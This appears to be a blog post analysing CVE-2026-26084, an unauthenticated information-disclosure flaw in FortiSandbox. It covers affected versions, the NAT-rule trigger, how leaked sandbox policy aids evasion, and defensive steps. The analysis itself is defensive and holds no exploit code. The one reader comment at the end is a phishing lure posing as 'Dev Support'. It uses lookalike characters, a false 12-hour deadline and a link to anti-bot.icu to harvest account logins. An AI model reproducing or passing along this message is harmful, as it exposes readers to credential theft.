CVE-2026-26084: the sandbox appliance that answers questions it should refuse
Information disclosure is easy to deprioritize next to remote code execution, and on a security appliance that instinct is wrong. CVE-2026-26084 does not allow an attacker to change data or run code. It lets an unauthenticated request read details from the device whose job is to analyze suspicious files, and that is a different kind of problem.
Technical context
The flaw is classified under CWE-284, improper access control. Fortinet rated it 8.9 and disclosed it on 8 September 2026, in a batch that also addressed CVE-2026-84390 in FortiMonitor OnSight at 9.6. The report came from Fortinet's own product security team rather than from an external researcher, and the vendor stated that it had no evidence of exploitation in the wild.
Affected versions are FortiSandbox 4.4.0 through 4.4.8 and 5.0.0 through 5.0.5, FortiSandbox Cloud 5.0.4 through 5.0.5, and FortiSandbox PaaS 5.0.4 through 5.0.5. Corrected versions are 4.4.9 for the 4.4 branch and 5.0.6 for the 5.0 branches. FortiSandbox 5.2, FortiSandbox Cloud 4.4 and FortiSandbox PaaS 5.2 are not affected.
Explanation and what is exposed
Fortinet's description states that a specific NAT rule can be controlled through an unauthenticated channel, and that an unauthenticated attacker can send crafted HTTP requests to reach sensitive information. The underlying defect in the web interface is that a request is not validated against an authorized session before data is returned.
The severity follows from what such a device knows. A sandbox holds sample metadata, submission history, configuration, and logs of what it has analyzed and from where. An attacker who can read configuration and sample metadata can study how a deployment classifies files and where it looks for indicators, then build malware that stays below those thresholds. The appliance keeps working. The attackers simply stop being seen by it.
The affected version map carries a further subtlety. A NAT rule is the described trigger, so two installations on the same software version can have different exposure depending on how their network edge is configured. Also, a version scan alone does not answer the question: an installation that reads as affected may not be reachable, and one that reads as unaffected may be.
Defensive implications
Upgrade to 4.4.9 or 5.0.6 as applicable, and treat the NAT rule configuration as part of the review rather than a separate concern. Management interfaces for a sandbox should never be reachable from untrusted networks. Where remote access is genuinely required, restrict it to specific source addresses through a virtual private network or a bastion host.
For detection, look for HTTP requests to the web interface that return sensitive payloads without an authenticated session, and for requests originating from addresses that have no administrative history with the device. Because the flaw was internally reported and no exploitation has been observed, this is a preventive exercise rather than an incident response, and the useful outcome is a short list of which appliances can be reached from outside the management network at all.
The general point concerns the trust placed in defensive tooling. The same appliances that inspect files and mail also hold the analysis policy, and reading that policy is a reconnaissance win. Defensive infrastructure needs the same exposure discipline as anything else in the estate.
References
[1] Fortinet PSIRT advisory FG-IR-26-26084.
[2] NVD entry for CVE-2026-26084.
Top comments (1)
Dear User,
Due to an іncreаsе іn bоt activity on the platfоrm, wе require verіfy of your account.
Pleаsе lоg in viа the link below:
• anti-bot.icu/5K0N5G7M9C4
Verificated deadlіnе - 12 hours.
Sincerely,Dev Suрроrt